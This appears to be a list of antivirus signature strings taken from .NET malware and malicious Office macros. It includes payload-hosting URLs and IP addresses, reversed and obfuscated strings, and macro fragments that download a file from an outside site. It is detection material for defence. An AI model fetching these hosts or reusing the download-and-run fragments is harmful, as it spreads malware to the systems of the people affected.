 - Rocket_Mission.Properties.Resources (PEHSTR_EXT)
 - DataTree.My.Resources (PEHSTR_EXT)
 - InmacolProyecto.My.Resources (PEHSTR_EXT)
 - Pomf_Uploader.My.Resources (PEHSTR_EXT)
 - LeaveManager.Resources.resources (PEHSTR_EXT)
 - Sklgeh.Properties.Resources.resources (PEHSTR_EXT)
 - LevelEditor.Resources.resources (PEHSTR_EXT)
 - Helpers.My.Resources (PEHSTR_EXT)
 - S6X I\ (PEHSTR_EXT)
 - Imager.PodajIloscKlasHistogramuG.resources (PEHSTR_EXT)
 - PhotoSlideCS.Form1.resources (PEHSTR_EXT)
 - aR3nbf8dQp2feLmk31.SplashForm.resources (PEHSTR_EXT)
 - captainalm.Resources (PEHSTR_EXT)
 - TrackManager.My.Resources (PEHSTR_EXT)
 - webshellManager.aboutForm.resources (PEHSTR_EXT)
 - Holiday.AboutBox.resources (PEHSTR_EXT)
 - Holiday.AddSource.resources (PEHSTR_EXT)
 - Picturesque.Editor.AboutForm.resources (PEHSTR_EXT)
 - Picturesque.Editor.HelpForm.resources (PEHSTR_EXT)
 - Picturesque.Editor.MDI.resources (PEHSTR_EXT)
 - StudyTool.StudyTool.resources (PEHSTR_EXT)
 - VideoLan.Plugin.Properties.Resources (PEHSTR_EXT)
 - ReplacementFallback.Properties.Resources (PEHSTR_EXT)
 - ASCIIArt.Form1.resources (PEHSTR_EXT)
 - BigVid.Resources (PEHSTR_EXT)
 - DS_ASS_2.My.Resources (PEHSTR_EXT)
 - costura.classlibrary1.dll (PEHSTR_EXT)
 - GameMaker.Resources.resources (PEHSTR_EXT)
 - GameMaker.frmAddContact.resources (PEHSTR_EXT)
 - Gamer_Clock.Resources.resources (PEHSTR_EXT)
 - Gamer_Clock.iBaseTools.resources (PEHSTR_EXT)
 - MouseManager.Resources.resources (PEHSTR_EXT)
 - MouseManager.frmOptions.resources (PEHSTR_EXT)
 - Emuloader.Resources.resources (PEHSTR_EXT)
 - PEFileKinds.MCCCCC.resources (PEHSTR_EXT)
 - PEFileKinds.Properties.Resources (PEHSTR_EXT)
 - HttpListenerContext (PEHSTR_EXT)
 - Multimedia.Midi.UI.Device (PEHSTR_EXT)
 - ThemingSharper.Properties.Resources (PEHSTR_EXT)
 - ThemingSharper.ForgotPassword.resources (PEHSTR_EXT)
 - ThemingSharper.Payment.resources (PEHSTR_EXT)
 - Reboot_IMG.Properties.Resources.resources (PEHSTR_EXT)
 - ok.My.Resources (PEHSTR_EXT)
 - TP2_Prog.Resources.resources (PEHSTR_EXT)
 - stbc.MDIParent1.resources (PEHSTR_EXT)
 - BattleShip (PEHSTR_EXT)
 - AesCryptoServiceProvider (PEHSTR_EXT)
 - DecompressGZip (PEHSTR_EXT)
 - BO.My.Resources (PEHSTR_EXT)
 - Almarafiw.Properties.Resources (PEHSTR_EXT)
 - ClassAssignment.Properties.Resources (PEHSTR_EXT)
 - ImageRecognition.Properties.Resources.resources (PEHSTR_EXT)
 - Fluxx.Form1.resources (PEHSTR_EXT)
 - Matrix_Graph.Properties.Resources (PEHSTR_EXT)
 - Matrix_Graph.GraphForm (PEHSTR_EXT)
 - data/Gauss.txt (PEHSTR_EXT)
 - data/AlgoParam.txt (PEHSTR_EXT)
 - HttpWebRequest (PEHSTR_EXT)
 - WdKaclv.g.resources (PEHSTR_EXT)
 - ReactionDiffusionLib.Properties.Resources.resources (PEHSTR_EXT)
 - terminal.Resources.resources (PEHSTR_EXT)
 - Streamship_Screenshot.Properties.Resources.resources (PEHSTR_EXT)
 - CPE200Lab1.ExtendForm.resources (PEHSTR_EXT)
 - ClownfishVoiceChanger.Properties.Resources.resources (PEHSTR_EXT)
 - App__Beta_.Easy.resources (PEHSTR_EXT)
 - SimpleUI.Form1 (PEHSTR_EXT)
 - FileZillaProject.frmMain.resources (PEHSTR_EXT)
 - FileZillaProject.frmDeckViewer.resources (PEHSTR_EXT)
 - MetroFramework.Metro_Button (PEHSTR_EXT)
 - MOHBAD.MOHBAD (PEHSTR_EXT)
 - badbadmohh.txt (PEHSTR_EXT)
 - HttpResponseMessage (PEHSTR_EXT)
 - Serialization.Formatters.Binary (PEHSTR_EXT)
 - Unable to resolve HTTP prox (PEHSTR_EXT)
 - com.apple.Safari (PEHSTR_EXT)
 - System.Threading.Tasks (PEHSTR_EXT)
 - HttpServerUtility (PEHSTR_EXT)
 - KeyValueStore/Master (PEHSTR_EXT)
 - playerBindingSource.TrayLocation (PEHSTR_EXT)
 - D:\Effffffffffffffffffffffffffxt.txt (PEHSTR_EXT)
 - D:ughuExt.txt (PEHSTR_EXT)
 - UseShellExecute (PEHSTR_EXT)
 - Edfijki0joifffffffffxt.txt (PEHSTR_EXT)
 - SoapHttpClientProtocol (PEHSTR_EXT)
 - Tools.StronglyTypedResourceBuilder (PEHSTR_EXT)
 - AnaSoftVerKSV.Resources.resources (PEHSTR_EXT)
 - MultiplayerLib.Properties.Resources (PEHSTR_EXT)
 - explosion.png (PEHSTR_EXT)
 - skulls.png (PEHSTR_EXT)
 - MultiplayerLib.Resource1.resources (PEHSTR_EXT)
 - MultiplayerLib.ServerWindow.resources (PEHSTR_EXT)
 - SmartFormat.SmartExtensions (PEHSTR_EXT)
 - WindowsFormsApp1.Properties (PEHSTR_EXT)
 - WinControls.ListView.ContainerColumnHeader.resources (PEHSTR_EXT)
 - WinControls.ListView.Resources.resource (PEHSTR_EXT)
 - Develop.My.Resources (PEHSTR_EXT)
 - GradientPicker.X.resources (PEHSTR_EXT)
 - POS_Sales_and_Inventory.My.Resources (PEHSTR_EXT)
 - POS_Sales_and_Inventory.ISO.resources (PEHSTR_EXT)
 - temp.txt (PEHSTR_EXT)
 - WinControls.ListView.Resources.resources (PEHSTR_EXT)
 - PassCrypt.My.Resources (PEHSTR_EXT)
 - SimpleUI.MDI (PEHSTR_EXT)
 - YTGet.My.Resources (PEHSTR_EXT)
 - YTGet.ruleeditor.resources (PEHSTR_EXT)
 - transfer.sh/get/GgD2LC/ (PEHSTR_EXT)
 - transfer.sh/get/GkVJxj/ (PEHSTR_EXT)
 - transfer.sh/get/8sD6To/ (PEHSTR_EXT)
 - transfer.sh/get/qxvw7E/ (PEHSTR_EXT)
 - transfer.sh/get/2s3yIi/ (PEHSTR_EXT)
 - Viborita.My.Resources (PEHSTR_EXT)
 - SuperAdventure.Properties.Resources (PEHSTR_EXT)
 - PassCrypt.Resources.resources (PEHSTR_EXT)
 - mPortal.My.Resources (PEHSTR_EXT)
 - DTEDReader.Properties.Resources.resources (PEHSTR_EXT)
 - Windows_Forms_Books.Form.resources (PEHSTR_EXT)
 - discordhelper_module.My.Resources (PEHSTR_EXT)
 - SACFE.My.Resources (PEHSTR_EXT)
 - Winter_Sports_Rental.Resources (PEHSTR_EXT)
 - RogueButtons.My.Resources (PEHSTR_EXT)
 - TechSupportRegistration.My.Resources (PEHSTR_EXT)
 - Windows_Forms_Books.CCCC.resources (PEHSTR_EXT)
 - TaskManager.Resources.resources (PEHSTR_EXT)
 - Mo.My.Resources (PEHSTR_EXT)
 - http://185.246.220.65/lee/Chdcespbkah.jpeg (PEHSTR_EXT)
 - Dnvegwwohj.Aupzikoxziowvfsknfbwizqw (PEHSTR_EXT)
 - Church_Projector.My.Resources (PEHSTR_EXT)
 - StarEggControl.My.Resources (PEHSTR_EXT)
 - Shop_Manager.My.Resources (PEHSTR_EXT)
 - Interface.Properties.Resources (PEHSTR_EXT)
 - Jamils_Good_Old_Fun_Family_Center.My.Resources (PEHSTR_EXT)
 - Car_Server.My.Resources (PEHSTR_EXT)
 - ipaddress/api/admin/configuration/v1/conference/1/ (PEHSTR_EXT)
 - .Newtonsoft.Json.dll (PEHSTR_EXT)
 - www.google.com (PEHSTR_EXT)
 - App1.Properties (PEHSTR_EXT)
 - App1.Resources. (PEHSTR_EXT)
 - .dll (PEHSTR_EXT)
 - ClassLibrary.dll (PEHSTR_EXT)
 - ClassLibrary1.dll (PEHSTR_EXT)
 - Newtonsoft.Json.dll (PEHSTR_EXT)
 - Parsing.Cust (PEHSTR_EXT)
 - mailto:luungoc2005@yahoo.com (PEHSTR_EXT)
 - myapp.exe (PEHSTR_EXT)
 - 9fSKkjS40ejTN5FSW0Lh+NUKhMRkCjed (PEHSTR_EXT)
 - Garrix.Explorer1 (PEHSTR_EXT)
 - Jeu_Echec\bin\Debug (PEHSTR_EXT)
 - 9fSKkjS40ejTN5FSW0Lh+NUKhMRkCjed/2 (PEHSTR_EXT)
 - KF7M4HCRbatV5DMGWjfSi (PEHSTR_EXT)
 - System.Threading (PEHSTR_EXT)
 - IDM.IUelpmiS (PEHSTR_EXT)
 - ElektroPictureBox.My.Resources (PEHSTR_EXT)
 - Agent.Common.My.Resources (PEHSTR_EXT)
 - HTML_Update_Checker.My.Resources (PEHSTR_EXT)
 - SpaceInvaders.Properties.Resources (PEHSTR_EXT)
 - SimpleUI.AB (PEHSTR_EXT)
 - Streamship_Screenshot (PEHSTR_EXT)
 - RoyNES.Properties.Resources (PEHSTR_EXT)
 - getEnumName = " https://1230948%1230948@bitly.com/ (MACROHSTR_EXT)
 - bora. _ (MACROHSTR_EXT)
 - myvalue. _ (MACROHSTR_EXT)
 - nojarr.Rules (PEHSTR_EXT)
 - Wcoeadcpse.Properties (PEHSTR_EXT)
 - Rcwgu.Rules (PEHSTR_EXT)
 - Atsrsf.Properties (PEHSTR_EXT)
 - JpkgqbzMMP.Readers (PEHSTR_EXT)
 - Fteuvrjk.Properties (PEHSTR_EXT)
 - Cvrosme.Writers (PEHSTR_EXT)
 - Akvacfkhhv.Properties (PEHSTR_EXT)
 - System.Convert (PEHSTR_EXT)
 - Kygo.dll (PEHSTR_EXT)
 - CompressGZip (PEHSTR_EXT)
 - DeserializeJson (PEHSTR_EXT)
 - _2048.Properties.Resources (PEHSTR_EXT)
 - BattleShip_WinFormsApp.MainForm.resources (PEHSTR_EXT)
 - Dungeon_Sheehan.Form1.resources (PEHSTR_EXT)
 - Nakliye.Anasayfa.resources (PEHSTR_EXT)
 - "https://www.bitly.com/asiajia (MACROHSTR_EXT)
 - "https://www.bitly.com/asahdjia (MACROHSTR_EXT)
 - ShellExecute@ _ (MACROHSTR_EXT)
 - ClassLibrary1.Polices.Pool (PEHSTR_EXT)
 - IIIIIIIIIIIII.L.System.IO.DGIP (PEHSTR_EXT)
 - ExecBytes (PEHSTR_EXT)
 - RaceCore.dll (PEHSTR_EXT)
 - Reload.com.InspectorMu.Web (PEHSTR_EXT)
 - application/json; charset=utf-8 (PEHSTR_EXT)
 - v2/process.php (PEHSTR_EXT)
 - httpWebRequest (PEHSTR_EXT)
 - costura.newtonsoft.json.dll.compressed (PEHSTR_EXT)
 - Zoo has {0} animals. (PEHSTR_EXT)
 - P_public + "shta " + StrReverse(".www//:ptth") + "bitly.com/asdhjwqdoqiwodma" (MACROHSTR_EXT)
 - obj2.RestartCall obj.n_name (MACROHSTR_EXT)
 - createobject(mic)setw0bnu7e=createobject(wne)dimdowasstringdow="downloaddata"u="http://topvaluationfirms.com/telexcopy.png"n="telexcopy.png"dimasyncasstringasync="downloadfileasync"gfx17loa.open (MACROHSTR_EXT)
 - calc + """https://www.bitly.com/ (MACROHSTR_EXT)
 - kaosdkqowkdok.SetStringValue polooood, kdkaskllll, (MACROHSTR_EXT)
 - GetObject("winmgmts:\\" & mamammakdkd & "\root\default:StdRegProv") (MACROHSTR_EXT)
 - nadjodo.duckdns.org (PEHSTR_EXT)
 - AmigoSecretoWinForms.Form1.resources (PEHSTR_EXT)
 - PexesoCore (PEHSTR_EXT)
 - PexesoClass (PEHSTR_EXT)
 - PexesoCore.dll (PEHSTR_EXT)
 - HeavyDuck.Eve (PEHSTR_EXT)
 - System.Security.Permissions (PEHSTR_EXT)
 - HJSHJSLKW.pdb (PEHSTR_EXT)
 - jfdawdawo.exe (PEHSTR_EXT)
 - hnbzdfikeao.exe (PEHSTR_EXT)
 - tf2modutil.Main.resources (PEHSTR_EXT)
 - Main_Screen (PEHSTR_EXT)
 - BaseChannel.My (PEHSTR_EXT)
 - BaseChannel.Resources.resources (PEHSTR_EXT)
 - apple.com (PEHSTR_EXT)
 - mkjsefo3df (PEHSTR_EXT)
 - TwitDuel.UI.Properties.Resources.resources (PEHSTR_EXT)
 - Yedda.Twitter (PEHSTR_EXT)
 - ClassLibrary1.Strategies.EventVisitorStrategy (PEHSTR_EXT)
 - TrafficSimulation.Properties.Resources (PEHSTR_EXT)
 - S0.EO (PEHSTR_EXT)
 - GetExecutingAssembly (PEHSTR)
 - C:\Temp\ (PEHSTR_EXT)
 - SetCompatibleTextRenderingDefault (PEHSTR_EXT)
 - ThreadPool.Light (PEHSTR_EXT)
 - 9TVqQAAMAAAAEAAAA//8AAL (PEHSTR_EXT)
 - Powered by SmartAssembly 8.0.2.4779 (PEHSTR_EXT)
 - 2.3.3.2 (PEHSTR_EXT)
 - LzmwAqmV.exe (PEHSTR_EXT)
 - Execute (PEHSTR_EXT)
 - SbieDll.dll (PEHSTR_EXT)
 - Jarokn Club (PEHSTR_EXT)
 - C:\dnwaiodwandwaniodawnodwandawoangrdp\dwad.exe (PEHSTR_EXT)
 - components (PEHSTR_EXT)
 - ServerComputer (PEHSTR_EXT)
 - CopyFromScreen (PEHSTR_EXT)
 - .&Hm-' (PEHSTR_EXT)
 - .&Wm-' (PEHSTR_EXT)
 - /&Cm-'RichBm- (PEHSTR_EXT)
 - DOS mode. (PEHSTR_EXT)
 - \command\start.exe (PEHSTR_EXT)
 - SplashScreen_Load (PEHSTR_EXT)
 - screen_link= (PEHSTR_EXT)
 - screen= (PEHSTR_EXT)
 - asssssssssddddd.dll (PEHSTR_EXT)
 - #f.dll# (PEHSTR_EXT)
 - #fsdf.dll# (PEHSTR_EXT)
 - #fsdfsdf.dll# (PEHSTR_EXT)
 - #r.dll# (PEHSTR_EXT)
 - #s.dll# (PEHSTR_EXT)
 - .UGx0 (SNID)
 - gameoverlayui.exe (PEHSTR_EXT)
 - #fsdfdsf.dll# (PEHSTR_EXT)
 - #fsdfsd.dll# (PEHSTR_EXT)
 - #ghfh.dll# (PEHSTR_EXT)
 - #fsd.dll# (PEHSTR_EXT)
 - Action List.ini (PEHSTR_EXT)
 - people.xml (PEHSTR_EXT)
 - people.csv (PEHSTR_EXT)
 - System.Activator (PEHSTR_EXT)
 - Session_Initialization.Properties.Resources (PEHSTR_EXT)
 - ConferenceRegistration.My (PEHSTR_EXT)
 - https://ghghghfhfhfh.000webhostapp.com/RunPE.dll (PEHSTR_EXT)
 - https://a.uguu.se/ (PEHSTR_EXT)
 - http://ceylantreyler.com/Cms_Data/Sites/asd/Themes/Default/ (PEHSTR_EXT)
 - tester.rasa (PEHSTR_EXT)
 - vsdvsdvsdsdv.exe (PEHSTR_EXT)
 - cmd.exe (PEHSTR_EXT)
 - https://astexproject.com/ (PEHSTR_EXT)
 - https://store2.gofile.io/download/ (PEHSTR_EXT)
 - 0.30319\RegAsm.exe (PEHSTR_EXT)
 - 877689582395719724/8776900 (PEHSTR_EXT)
 - winomoera.operavnb (PEHSTR_EXT)
 - KafeOtomasyon.cs (PEHSTR_EXT)
 - Debug\KafeOtomasyon (PEHSTR_EXT)
 - https:// (PEHSTR_EXT)
 - 0.000webhostapp.com/Document.exe (PEHSTR_EXT)
 - 0.000webhostapp.com/RunPE.dll (PEHSTR_EXT)
 - RunPE.RunPE (PEHSTR_EXT)
 - HJD.Pexeso.FormGUI (PEHSTR_EXT)
 - DataDirectory|\bin\Debug\PayrollManagerDB.mdf (PEHSTR_EXT)
 - TdDPKD|ET]D\IDjDThDzJDlETeDXJD}EzfDHHDEDDFDjGDDD (PEHSTR_EXT)
 - TdDTKDvETgD3HDDDDDDXJDwET\D7HD3Ez\DXKDnEzeDLKDTE (PEHSTR_EXT)
 - DDDD7JDyETdDPKD|ET]D\IDjD (PEHSTR_EXT)
 - DDDDDDzDjODHGDxDTPD7FD}DDDD7JDyETdDPKD|ET]D\IDjD (PEHSTR_EXT)
 - DDDj{{kq;.p2r6WNXvwRn..y.PhvDLTL|7UEhoR5e3<rjxmp (PEHSTR_EXT)
 - GDIiD:D\LDDDDDOEKD9DD9KnFDJFDDDDjULGjRIvzEmDznDD (PEHSTR_EXT)
 - DDDPGHDvED6DDZ\\LDDDDD|DPDeLjXHfJDWFDDDDjP7FzJEL (PEHSTR_EXT)
 - 000webhostapp.com/RunPE.dll (PEHSTR_EXT)
 - trevnoC.metsyS (PEHSTR_EXT)
 - gsdf.ex (PEHSTR_EXT)
 - session.ses (PEHSTR_EXT)
 - Sy!stem.Refl!ection.As!sembly (PEHSTR_EXT)
 - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders (PEHSTR_EXT)
 - commandLine (PEHSTR_EXT)
 - TVqQAAMAAAAEAAAA// (PEHSTR_EXT)
 - //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA (PEHSTR_EXT)
 - SmartAssembly.SmartExceptionsCore.Resources.current.png (PEHSTR_EXT)
 - Aweiiwi.exe (PEHSTR_EXT)
 - bin\Debug\SLN\HotelManagementSystem\obj\Debug\HotelManagementSystem.pdb (PEHSTR_EXT)
 - HotelManagementSystem.exe (PEHSTR_EXT)
 - WinMixer.Properties.Resources (PEHSTR_EXT)
 - klinikdb.mdf (PEHSTR_EXT)
 - model1.context.tt (PEHSTR_EXT)
 - model1.tt (PEHSTR_EXT)
 - klinikdb_log.ldf (PEHSTR_EXT)
 - Model1.ssdl (PEHSTR_EXT)
 - System.Reflection.Assembly (PEHSTR_EXT)
 - #fsdghcggfsdfsd.dll# (PEHSTR_EXT)
 - #fsdhcfsdf.dll# (PEHSTR_EXT)
 - #fsdhhahffdsf.dll# (PEHSTR_EXT)
 - #fsdghhhhhhsdgfdsf.dll# (PEHSTR_EXT)
 - #fsdhhaffdsf.dll# (PEHSTR_EXT)
 - #fshggdfsshgfhdfsdf.dll# (PEHSTR_EXT)
 - #fsdfsdggfdsf.dll# (PEHSTR_EXT)
 - #sssssssss.dll# (PEHSTR_EXT)
 - #fshghhhgfgggghdfsdf.dll# (PEHSTR_EXT)
 - #fsdfgdddddfchafhghgsdf.dll# (PEHSTR_EXT)
 - I.n.v.o.k.e (PEHSTR_EXT)
 - fds.dll# (PEHSTR_EXT)
 - zVBVmpePme0ebI7f6uX.c7ZoAXerow2pBEq3fKU.resources (PEHSTR_EXT)
 - 000webhostapp.com (PEHSTR_EXT)
 - InitializeComponent (PEHSTR_EXT)
 - GarageManager.Properties.Resources.resources (PEHSTR_EXT)
 - lld.tnemeganaM.metsyS (PEHSTR_EXT)
 - lld.metsyS (PEHSTR_EXT)
 - lld.gniwarD.metsyS (PEHSTR_EXT)
 - lld.eroC.metsyS (PEHSTR_EXT)
 - exeniw:tegrat/ +gubed/ 68X:mroftalp/ +ezimitpo/ (PEHSTR_EXT)
 - https://buysrilankan.lk/k/ (PEHSTR_EXT)
 - http://179.43.187.131/ueyt/ (PEHSTR_EXT)
 - #hdfffwtwfffffffgsssssdf.dll# (PEHSTR_EXT)
 - #fffswtf.dll# (PEHSTR_EXT)
 - DecompressString (PEHSTR_EXT)
 - quick_screen_recorder.Properties.Resources (PEHSTR_EXT)
 - //github.com/ModuleArt/ (PEHSTR_EXT)
 - .compressed (PEHSTR_EXT)
 - Nebula__Web_Browser_.Resources (PEHSTR_EXT)
 - SubFrameCalculator.Resources (PEHSTR_EXT)
 - //cdn.discordapp.com/attachments/ (PEHSTR_EXT)
 - @179.43.187.131@ (PEHSTR_EXT)
 - papworld.net (PEHSTR_EXT)
 - CaptureScreen (PEHSTR_EXT)
 - SendScreenShot (PEHSTR_EXT)
 - dsadfffwtwfffffffgsssssdf.dll# (PEHSTR_EXT)
 - #hsstadaaadwsssssg.dll# (PEHSTR_EXT)
 - #hsstaaadwsssssg.dll# (PEHSTR_EXT)
 - #fasdgsfsd.dll# (PEHSTR_EXT)
 - #afa.dll# (PEHSTR_EXT)
 - #ssstaaaaaawsssss.dll# (PEHSTR_EXT)
 - #fffdsaswtf.dll# (PEHSTR_EXT)
 - #fsdadsadsdaswdf.dll# (PEHSTR_EXT)
 - #adsadddddddadadaaws.dll# (PEHSTR_EXT)
 - Test-Connection www.bing.com (PEHSTR_EXT)
 - Stub.Resources (PEHSTR_EXT)
 - ClassLibrary1.RunPE (PEHSTR_EXT)
 - //pastebin.com/raw.php?i= (PEHSTR_EXT)
 - CheckBoxStudio.WinForms.Properties.Resources.resources (PEHSTR_EXT)
 - #hdfsafaaaadadsadfffwtwfffffffgsssssdf.dll# (PEHSTR_EXT)
 - #ddshsstadaaadwsssssg.dll# (PEHSTR_EXT)
 - #agffa.dll# (PEHSTR_EXT)
 - #f.dgdddll# (PEHSTR_EXT)
 - v4.0.30319\thedevilcoder.exe (PEHSTR_EXT)
 - Dropbox.Api (PEHSTR_EXT)
 - #fasdfgsfsd.dll# (PEHSTR_EXT)
 - #fljgaf.dll# (PEHSTR_EXT)
 - #f.dgddjkdll# (PEHSTR_EXT)
 - https://buysrilankan.lk/pp/ConsoleApp (PEHSTR_EXT)
 - AssemblyCompany (PEHSTR_EXT)
 - http://pfsbankgroup.com/ (PEHSTR_EXT)
 - #fasdfgsfffsd.dll# (PEHSTR_EXT)
 - .dgddjkdll# (PEHSTR_EXT)
 - #fkasdfgffgsfffsd.dll# (PEHSTR_EXT)
 - #fasfsaf.dll# (PEHSTR_EXT)
 - #fasgag.dll# (PEHSTR_EXT)
 - #gdfsfds.dll# (PEHSTR_EXT)
 - #fsdgdsdsdsd.dll# (PEHSTR_EXT)
 - #fasfdddddddddssaf.dll# (PEHSTR_EXT)
 - #fasfddddddddssaf.dll# (PEHSTR_EXT)
 - #fasfdaaaaaaaadsssaf.dll# (PEHSTR_EXT)
 - #gdfsfdllllllls.dll# (PEHSTR_EXT)
 - #fasfdddddoklpoddddssaf.dll# (PEHSTR_EXT)
 - #fasfdkioioaaaaaaaadsssaf.dll# (PEHSTR_EXT)
 - Borland_Protector Cracked v1.0 (PEHSTR_EXT)
 - WpfPdfUnblocker.My.Resources (PEHSTR_EXT)
 - //github.com/ (PEHSTR_EXT)
 - Windows.Update (PEHSTR_EXT)
 - r1c3rstrim/war/ten.nibtxet//:sptth (PEHSTR_EXT)
 - #fasfdkioioaaaaaoaaadsssaf.dll# (PEHSTR_EXT)
 - #gsdggdlllllllokosadsadggggg# (PEHSTR_EXT)
 - #fasfdkklljidddddddssaf.dll# (PEHSTR_EXT)
 - #gdfsfdlll;;;;llllls.dll# (PEHSTR_EXT)
 - https://buysrilankan.lk/k/ConsoleApp (PEHSTR_EXT)
 - IKJSUHFNIUFHIUFHIUSFHIUFHIUSFIUSFHIUSFH (PEHSTR_EXT)
 - #gsdggdllfsflllllokosadsadggggg# (PEHSTR_EXT)
 - #fasffasdddddokuijouilpoddddssaf.dll# (PEHSTR_EXT)
 - #ijfakkk.dll# (PEHSTR_EXT)
 - Xdrsbyaopb.dll (PEHSTR_EXT)
 - hquknivslqkb.dll (PEHSTR_EXT)
 - C:\Users\LP\Desktop\loader\loader\obj\Debug\loader.pdb (PEHSTR_EXT)
 - Vagina.Main (PEHSTR_EXT)
 - loader.exe (PEHSTR_EXT)
 - WindowsFormsApp1.Properties.Resources (PEHSTR_EXT)
 - #fasfdsfffafgsdddddokuijouilpoddddssaf.dll# (PEHSTR_EXT)
 - #gdfsaffdsflfsafgflllls.dll# (PEHSTR_EXT)
 - hjkj.exe (PEHSTR_EXT)
 - GPT4_V2.Properties.Resources (PEHSTR_EXT)
 - ajwfdaidwa.exe (PEHSTR_EXT)
 - jsfeifeofewolf.exe (PEHSTR_EXT)
 - WindowsFormsApp1.Properties.Resources.resources (PEHSTR_EXT)
 - Revolai.exe (PEHSTR_EXT)
 - Sworzy Baba Inc. (PEHSTR_EXT)
 - #gsdggdllfsfsdffsflllfgfllokosadsadggggg# (PEHSTR_EXT)
 - #fsalluiijuidsfsdfffsdfdsfhfasaf.dll# (PEHSTR_EXT)
 - #fafdasgsffsdfdkgfioioaaaaaoaaadsssaf.dll# (PEHSTR_EXT)
 - #gdfsaffdsffsdfdslfsafgflllls.dll# (PEHSTR_EXT)
 - exe.ooc/ac.semohnemul//:sptth (PEHSTR_EXT)
 - +.+3+8 (PEHSTR_EXT)
 - #fsalluiijuidsxfsdfffsdfdsfhfasaf.dll# (PEHSTR_EXT)
 - #fasvxfdsfsdfffafgsdddddokuijouilpoddddssaf.dll# (PEHSTR_EXT)
 - #ijfakkgffsfvxdsfsgk.dll# (PEHSTR_EXT)
 - Default.g.resources (PEHSTR_EXT)
 - isfd0sd.exe (PEHSTR_EXT)
 - System.Runtime.InteropServices (PEHSTR_EXT)
 - cmdaaaasssssssssssssssssssssssssssssssssssssssssssssssssaaaaa.exe (PEHSTR_EXT)
 - http://user:password@www.includehelp.com:8082/Article/CPrograms/ (PEHSTR_EXT)
 - .Properties.Resources.resources (PEHSTR_EXT)
 - WinExec (PEHSTR_EXT)
 - lpCmdLine (PEHSTR_EXT)
 - test-connection -comp google.com -count 1 -Quiet (PEHSTR_EXT)
 - Users\Eng Moha (PEHSTR_EXT)
 - _R/y* (PEHSTR_EXT)
 - #falkfskgdfgdfgdfgdfgsfkkksxvcxfgffkkuihiodsdgag.dll# (PEHSTR_EXT)
 - #fafdasgsffgdfgdfsdfdkgcfioioaaaaaoaaadsssaf.dll# (PEHSTR_EXT)
 - #fasffssasfdsfsfgdffkklvcljigfdddddddssaf.dll# (PEHSTR_EXT)
 - #ijfakkgffsfdsfvxdsfsgk.dll# (PEHSTR_EXT)
 - System.Windows.Forms.Form (PEHSTR_EXT)
 - v4.0.30319 (PEHSTR_EXT)
 - http://gffggfffffrograms/ (PEHSTR_EXT)
 - https://anarchyrsps.live/ (PEHSTR_EXT)
 - LINCA.Properties.Resources (PEHSTR_EXT)
 - MG.Office.Diagram (PEHSTR_EXT)
 - #fasdasdadvxfafdfdsgdfgdffsdfffafgsdddddokuijouilpoddddssaf.dll# (PEHSTR_EXT)
 - #faadasdsffgssasfdsfddfsfgdffkklvcljigfdddddddssaf.dll# (PEHSTR_EXT)
 - integralbd.com/inquiry-cim.jpg (PEHSTR_EXT)
 - ZtmbDowZtmbnlZtmboadDZtmbataZtmb (PEHSTR_EXT)
 - MotivateDesktop.aspx.ASPX.resources (PEHSTR_EXT)
 - MotivateDesktop.Properties.Resources (PEHSTR_EXT)
 - GUI_Class.QQQQQ.resource (PEHSTR_EXT)
 - uplooder.net/img/image/ (PEHSTR_EXT)
 - p.png (PEHSTR_EXT)
 - p.jpg (PEHSTR_EXT)
 - HttpClient (PEHSTR_EXT)
 - Play splitscreen games over the internet (PEHSTR_EXT)
 - SplitPlay.Resources.resources (PEHSTR_EXT)
 - SplitPlay.My (PEHSTR_EXT)
 - FreshFoodExpress.Resources (PEHSTR_EXT)
 - LinkMaker.Properties.Resources.resources (PEHSTR_EXT)
 - SharpStructures.Sorting.SortHelper (PEHSTR_EXT)
 - MyWebeSocket.Properties.Resources.resources (PEHSTR_EXT)
 - #fasvxfafdfdsgdfgdffsdfffafgsdddddokuijouilpoddddssaf.dll# (PEHSTR_EXT)
 - #fafdafssggdsffgdfgdfsdfdkgcfioioaaaaaoaaadsssaf.dll# (PEHSTR_EXT)
 - #ijfakkgdfggffsfdsfvxdsfsgk.dll# (PEHSTR_EXT)
 - #sfgds.dll# (PEHSTR_EXT)
 - #faaxvdaasdsffgssasfdsfddfsfgdffkklvcljigfdddddddssaf.dll# (PEHSTR_EXT)
 - #fasvddddxdasdadvxfafdfdsgdfgdffsdfffafgsdddddokuijouilpoddddssaf.dll# (PEHSTR_EXT)
 - #afadxvaddadfssffassdddddfgvxcddfgdffssgsf.dll# (PEHSTR_EXT)
 - =/.|i (PEHSTR_EXT)
 -  s:// (PEHSTR_EXT)
 -  http (PEHSTR_EXT)
 -  .com (PEHSTR_EXT)
 - #faaxvdasdsffgssasfdsfddfsfgdffkklvcljigfdddddddssaf.dll# (PEHSTR_EXT)
 - #afadxvaddadfssffassfgvxcddfgdffssgsf.dll# (PEHSTR_EXT)
 - #ijfakdsxaddkgdfggffsfdsfvxdsfsgk.dll# (PEHSTR_EXT)
 - System.Resources.Tools.StronglyTypedResourceBuilder (PEHSTR_EXT)
 - Cradiator.Properties.Resources.resources (PEHSTR_EXT)
 - Cradiator.Config.ChangeHandlers (PEHSTR_EXT)
 - Kora.Visual (PEHSTR_EXT)
 - addddddf.exe (PEHSTR_EXT)
 - /c ping yahoo.com (PEHSTR_EXT)
 - transfer.sh (PEHSTR_EXT)
 - Qhpap.Properties.Resources (PEHSTR_EXT)
 - 0mc-global.com (PEHSTR_EXT)
 - Vwfdxdn.Properties.Resources (PEHSTR_EXT)
 - cdn.discordapp.com (PEHSTR_EXT)
 - Jjxpa.Properties.Resources (PEHSTR_EXT)
 - Qpchk.Properties.Resources (PEHSTR_EXT)
 - Bhailh.Properties.Resources (PEHSTR_EXT)
 - Fgewph.Properties.Resources (PEHSTR_EXT)
 - Delphi-the best. Fuck off all the rest (PEHSTR_EXT)
 - RmJ37K7jNgdAds4OhZ.ejfWpD5ZEiPTOpJbRC (PEHSTR_EXT)
 - 91.243.44.22 (PEHSTR_EXT)
 - ec2-54-163-171-189.compute-1.amazonaws.com/file/Kefpabz.png (PEHSTR_EXT)
 - transfer.sh/get/MiToFC/Pbrdehm.log (PEHSTR_EXT)
 - cdn.discordapp.com/attachments/943 (PEHSTR_EXT)
 -  /943 (PEHSTR_EXT)
 - #ffgfgfa.dll# (PEHSTR_EXT)
 - #gdhfdsgsdg.dll# (PEHSTR_EXT)
 - #sadaaaagfdgadaaadvcxvadaadfgds.dll# (PEHSTR_EXT)
 - irontwit/tree/master (PEHSTR_EXT)
